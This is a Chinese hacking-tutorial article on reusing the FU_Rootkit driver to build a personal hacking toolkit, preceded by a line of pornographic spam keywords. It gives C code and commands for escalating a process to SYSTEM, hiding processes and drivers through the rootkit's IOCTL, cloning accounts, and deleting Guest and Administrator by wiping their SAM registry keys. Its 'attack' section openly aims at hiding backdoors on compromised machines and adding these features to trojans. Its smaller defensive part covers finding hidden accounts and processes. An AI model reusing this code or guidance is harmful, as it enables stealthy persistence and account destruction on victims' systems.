亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

養(yǎng)在深閨人未識(shí):FU_Rootkit

 更新時(shí)間:2007年01月16日 00:00:00   作者:  
我在2004年11期黑防上刊登了《小工具巧刪Guest/Administrator賬戶》這篇文章,有不少朋友來(lái)信詢問(wèn)工具是如何編寫的,其實(shí)這個(gè)工具里面大部分代碼是我拷貝FU_Rootkit過(guò)來(lái)的。既然朋友們喜歡,這幾天我又多了好多想法,那我就來(lái)講講怎么充分挖掘利用FU_Rootkit吧! 
先去www.rootkit.com把FU_Rootkit 給Down下來(lái),以前它在Windows 2000專業(yè)版下面提升進(jìn)程權(quán)限有問(wèn)題,新版本已經(jīng)修復(fù)這個(gè)問(wèn)題。FU_Rootkit也算是“養(yǎng)在深閨人未識(shí)”了,比起Hxdef、AFX RootKit來(lái)名氣小多了,不過(guò)是金子終究是要發(fā)光的,這不,今天我們就讓它來(lái)發(fā)光了! 
FU_Rootkit是開(kāi)源的,用C語(yǔ)言編寫,很容易移植。我的開(kāi)發(fā)環(huán)境是Windows 2000+SP4+VC6.0。FU_Rootkit主程序包括2個(gè)部分:Fu.exe和Msdirectx.sys。 Msdirectx.sys能直接載入核心內(nèi)存,F(xiàn)u.exe則是相應(yīng)的應(yīng)用程序。先來(lái)看看它的部分功能: 
[-pl] xxx 列舉所有運(yùn)行進(jìn)程 
[-ph] #PID 隱藏進(jìn)程標(biāo)識(shí)符為PID的進(jìn)程 
[-pld] 列舉所有載入驅(qū)動(dòng)程序 
[-phd] DRIVER_NAME 隱藏指定驅(qū)動(dòng) 
[-pas] #PID 提升進(jìn)程標(biāo)識(shí)符為PID的進(jìn)程權(quán)限至SYSTEM 
[-prl] 列出可用的權(quán)限名單 
[-prs] #PID #privilege_name 提升進(jìn)程標(biāo)識(shí)符為PID的進(jìn)程權(quán)限至指定權(quán)限 
[-pss] #PID #account_name 改變進(jìn)程令牌和SID 
可以看出FU_Rootkit不僅可以隱藏進(jìn)程和驅(qū)動(dòng),改變進(jìn)程令牌和SID,還可以例舉用Hook技術(shù)隱藏的進(jìn)程和驅(qū)動(dòng)。我們今天要做的就是利用Msdirectx.sys完成我們自己的黑客工具集的編寫! 
權(quán)限提升 
有了權(quán)限我們才能任意地操作,讓電腦為我們實(shí)現(xiàn)各種功能,所以第一步首先是權(quán)限提升。 
我們知道,提升進(jìn)程權(quán)限可以用Psu工具,F(xiàn)U_Rootkit也能夠?qū)崿F(xiàn)這個(gè)功能,它可以將任意進(jìn)程提升到SYSTEM權(quán)限——不光可以給其它進(jìn)程提升權(quán)限,還可以把自己的進(jìn)程也提升為SYSTEM權(quán)限哦(在下面的文章中你將可以看到這個(gè)功能是多么的有用)! 
第一步:載入Msdirectx.sys 
具體代碼見(jiàn)InitDriver()函數(shù)。其實(shí)朋友們大可不必完全看懂這些代碼,把函數(shù)直接拷貝過(guò)去就OK了。 
第二步:查找進(jìn)程的PID 
代碼如下: 
const char DESTPROC[19] = "UserManager.exe"; // UserManager.exe是程序的進(jìn)程名稱 
AddPrivilege(SE_DEBUG_NAME); //提升進(jìn)程DEBUG權(quán)限 
HANDLE hRemoteProcess = NULL;  
DWORD pid = ProcessToPID(DESTPROC);//這里的pid就是我們進(jìn)程PID 
// ProcessToPID函數(shù)如下: 
DWORD ProcessToPID(const char *InputProcessName)  
//將進(jìn)程名轉(zhuǎn)換成進(jìn)程PID的函數(shù) 
{  
DWORD aProcesses[1024], cbNeeded, cProcesses;  
unsigned int i;  
HANDLE hProcess = NULL;  
HMODULE hMod = NULL;  
char szProcessName[MAX_PATH] = "UnknownProcess";  
//提升進(jìn)程權(quán)限至DEBUG權(quán)限 
AddPrivilege(SE_DEBUG_NAME);  
// 計(jì)算目前有多少進(jìn)程, aProcesses[]用來(lái)存放有效的進(jìn)程PIDs  
if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded ) )  
{  
return 0;  
}  
cProcesses = cbNeeded / sizeof(DWORD);  
// 按有效的PID遍歷所有的進(jìn)程  
for ( i = 0; i < cProcesses; i++ )  
{  
// 打開(kāi)特定PID的進(jìn)程  
hProcess = OpenProcess( PROCESS_QUERY_INFORMATION |  
PROCESS_VM_READ,  
FALSE, aProcesses[i]);  
// 取得特定PID的進(jìn)程名  
if ( hProcess )  
{  
if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )  
{  
GetModuleBaseName( hProcess, hMod, szProcessName, sizeof(szProcessName) );  
//將取得的進(jìn)程名與輸入的進(jìn)程名比較,如相同則返回進(jìn)程PID  
if(!stricmp(szProcessName, InputProcessName))  
{  
CloseHandle( hProcess );  
return aProcesses[i];  
}  
}  
}//end of if ( hProcess )  
}//end of for  
//沒(méi)有找到相應(yīng)的進(jìn)程名,返回0  
CloseHandle( hProcess );  
return 0;  

第三步:提升進(jìn)程權(quán)限至SYSTEM 
具體代碼見(jiàn)UpdateToSystem()函數(shù)。這樣我們的進(jìn)程UserManager.exe就具備了SYSTEM權(quán)限了。 
攻擊篇 
當(dāng)你得到肉雞的SYSTEM權(quán)限后,當(dāng)然要把自己的后門進(jìn)程或驅(qū)動(dòng)器隱藏,然后克隆賬號(hào),留個(gè)隱藏賬號(hào)什么的,下面我們就來(lái)看看這些功能如何用程序來(lái)實(shí)現(xiàn)。 
1.克隆帳號(hào) 
各位朋友看到小榕的CA工具是不是很眼饞,想不想自己寫一個(gè)?在黑防2003年的第7期《C語(yǔ)言克隆賬號(hào)》上已經(jīng)有具體介紹。一般來(lái)講,克隆賬號(hào)的方法有2種:一種是利用系統(tǒng)服務(wù)的SYSTEM權(quán)限讀寫SAM文件;第二種是利用驅(qū)動(dòng)提升進(jìn)程權(quán)限。我們這里采用第二種辦法。在《C語(yǔ)言克隆賬號(hào)》一文中,由于其不具備SYSTEM權(quán)限,需要手工修改注冊(cè)表才能夠操作注冊(cè)表SAM文件夾,比較麻煩。在我們這里當(dāng)然是沒(méi)有問(wèn)題的,將其代碼COPY過(guò)來(lái),粘在我們工程里面就可以了。 
2.進(jìn)程隱藏 
進(jìn)程隱藏實(shí)乃木馬病毒的必備防身本領(lǐng),F(xiàn)U_Rootkit中的最基本功能之一就是進(jìn)程隱藏,首先我們要知道進(jìn)程的PID或者進(jìn)程名,然后才能將它隱藏,隱藏代碼如下: 
DWORD HideProc(DWORD pid)//pid是你要隱藏的進(jìn)程的PID 

DWORD d_bytesRead; 
DWORD success; 
if (!Initialized) 

return ERROR_NOT_READY; 

success = DeviceIoControl(gh_Device,  
IOCTL_ROOTKIT_HIDEME, 
(void *) &pid, 
sizeof(DWORD), 
NULL, 
0, 
&d_bytesRead, 
NULL); 
return success;  

假如你要想找出隱藏的進(jìn)程,可以采用工具RTDector0.62工具,黑防以前就介紹過(guò)。 
3. 驅(qū)動(dòng)隱藏 
驅(qū)動(dòng)隱藏?很少見(jiàn)吧。有經(jīng)驗(yàn)的管理員一般都會(huì)使用命令Drivers.exe來(lái)查看載入的驅(qū)動(dòng)(Drivers.exe可以在Windows 2000的資源包里面找到), 
看到Msdirectx.sys暴露出來(lái)了吧?而FU_Rootkit就可以把自己的 Msdirectx.sys隱藏起來(lái),運(yùn)行的命令是:“C:\fu.exe –phd msdirectx.sys”。當(dāng)然這個(gè)功能我們也可以很輕松地移植到我們的程序中去。  

防御篇 
千萬(wàn)不要以為FU_Rootkit得到SYSTEM權(quán)限只是用來(lái)攻擊,不能防守,其實(shí)Rootkit是一把“雙刃劍”,運(yùn)用得當(dāng),同樣是防御的好幫手。同時(shí),作為一名菜鳥,當(dāng)然是防守為先,所以請(qǐng)看防守篇。 
1. 系統(tǒng)用戶查看 
眼下只要翻開(kāi)一本黑客雜志,經(jīng)??吹绞裁础半[藏帳號(hào)”、“不死帳號(hào)”什么的,嚇得我等菜鳥心驚膽顫,經(jīng)常對(duì)著用戶管理發(fā)呆,究竟有沒(méi)有問(wèn)題呢?這里我們可以利用LPUSER_INFO_3讀取用戶信息,包括用戶名、用戶全名、用戶描述、登錄次數(shù)、登錄權(quán)限以及上次登錄時(shí)間等參數(shù),代碼較長(zhǎng)而且簡(jiǎn)單,這里就不貼了,有興趣的可以查看DWORD CUserManagerDlg::UserALLE()函數(shù)。 
當(dāng)然,列舉賬號(hào)可以直接從SAM\\SAM\\Domains\\Account\\Users\\Names\中讀取,然后與LPUSER_INFO_3中讀出來(lái)的賬號(hào)進(jìn)行對(duì)比,這樣就能找出隱藏的賬號(hào),將那些隱藏的、不死的統(tǒng)統(tǒng)打回原形,讓你把賬號(hào)看得“清清楚楚,明明白白”。 
2. 刪除Guest 
先來(lái)看看如何刪除Guest用戶吧。獲取SYSTEM權(quán)限后,只要?jiǎng)h除在注冊(cè)表SAM文件夾中對(duì)應(yīng)的Guest和000001F5文件夾就OK了! 
void CUserManagerDlg::Deleteguest()  

BOOL upResult; 
upResult=UpdateToSystem(); 
//先查看一下進(jìn)程提示權(quán)限至SYSTEM成功沒(méi)有 
if(upResult)//如果權(quán)限提升SYSTEM成功的話 

// 刪除GUEST用戶! 
BOOL dResult; 
dResult=DelNT(HKEY_LOCAL_MACHINE,"SAM\\SAM\\Domains\\Account\\Users\\Names\\Guest");//刪除Guest文件夾 
BOOL dResult2; 
dResult2=DelNT(HKEY_LOCAL_MACHINE,"SAM\\SAM\\Domains\\Account\\Users\\000001F5");//刪除guest對(duì)應(yīng)的ID號(hào)000001F5文件夾 
if(dResult&&dResult2) 

AfxMessageBox("成功刪除GUEST用戶!"); 
}  
else 

AfxMessageBox("刪除GUEST用戶失??!");  


else 

AfxMessageBox("提升至SYSTEM權(quán)限失敗!");  


其中DelNT()函數(shù)是專門定義用來(lái)刪除注冊(cè)表子鍵的函數(shù)。 
3. 刪除Administrator 
看到標(biāo)題你可不要嚇一跳,Administrator一般情況下是不能刪除的,當(dāng)然你可以到控制面板->管理工具->計(jì)算機(jī)管理里面重命名該賬戶,也可以使用NT Resource Kit提供的Passprop工具啟用對(duì)Administrator的鎖定。我們這里當(dāng)然要挑戰(zhàn)極限:刪除Administrator!代碼跟刪除Guest用戶的代碼差不多,換個(gè)參數(shù)就可以了,分別刪除注冊(cè)表SAM文件夾中的Administrator和000001F4文件夾就可以了。而且可以在Administrator當(dāng)前用戶下刪除,強(qiáng)吧?嘿嘿。假如你只有這么一個(gè)管理員賬號(hào)的話呢,不好意思,恭喜你:你的機(jī)器上從此沒(méi)有管理員了! 

小提示:強(qiáng)烈建議刪除Administrator之前一定要先創(chuàng)建一個(gè)其它名字的管理員賬號(hào)!據(jù)《微軟信息安全文集》中說(shuō),刪除Administrator和Guest系統(tǒng)內(nèi)置賬戶有可能導(dǎo)致破壞SAM數(shù)據(jù)庫(kù),不過(guò)《微軟信息安全文集》的作者同時(shí)聲明:經(jīng)他測(cè)試,沒(méi)有發(fā)現(xiàn)副作用。 

4. 查殺進(jìn)程篇 
朋友們是否經(jīng)常遇到這種情況:在任務(wù)管理器中發(fā)現(xiàn)一個(gè)未知進(jìn)程,并且殺不掉,說(shuō)是權(quán)限不夠,這個(gè)問(wèn)題在我們獲取System權(quán)限后就不再是問(wèn)題,現(xiàn)在病毒、木馬等都是雙進(jìn)程,互相監(jiān)控,給我們查殺進(jìn)程帶來(lái)很大不便,需要我們能夠同時(shí)查殺多個(gè)進(jìn)程。選用Listview控件作為進(jìn)程的列舉控件,將Checkbox選項(xiàng)選中,這樣我們就可以同時(shí)選中多個(gè)進(jìn)程進(jìn)行查殺,爽吧?! 
5. 列舉用Hook技術(shù)隱藏的進(jìn)程和驅(qū)動(dòng) 
這個(gè)功能就是FU_Rootkit的過(guò)人之處了,可以幫助你查找利用HOOK技術(shù)隱藏的進(jìn)程和木馬。實(shí)現(xiàn)方法比較簡(jiǎn)單,大家可以去源碼中查看ListProc(void *buffer, int buff_size)和ListDriv(void)函數(shù)。 

本文利用FU_Rootkit獲取SYSTEM權(quán)限后,完成了很多實(shí)用的黑客小工具, System和Administrator權(quán)限一般人看起來(lái)感覺(jué)都差不多,但在一些與系統(tǒng)內(nèi)核交互的細(xì)節(jié)上,可以看出System權(quán)限要更大一些。譬如說(shuō)注冊(cè)表中的某些文件夾、對(duì)物理內(nèi)存有讀寫能力等方面。因此,獲取System權(quán)限后所能做的事情遠(yuǎn)遠(yuǎn)不止我們上面所說(shuō)的這些,希望大家共同挖掘。 
http://www.rootkit.com/上有很多開(kāi)源的好資源,研究并擴(kuò)展其功能便可以寫出很多有用的小軟件。將其功能添加到我們小馬中去,將會(huì)大大提高其生命力。朋友們,現(xiàn)在是不是感覺(jué)黑客軟件不過(guò)如此,人人能寫?如果是這樣,也不枉費(fèi)我一番苦心。由于工作關(guān)系,時(shí)間確實(shí)有限,不可能將上面的功能全部一一實(shí)現(xiàn)在代碼中,其實(shí)已經(jīng)是體力活了,很多功能都只需要把代碼COPY進(jìn)去就可以了。特將刪除Guest/Administrator的小工具和FU_Rootkit的代碼附上,朋友們升級(jí)了可要寄給我一份哦! 

相關(guān)文章

最新評(píng)論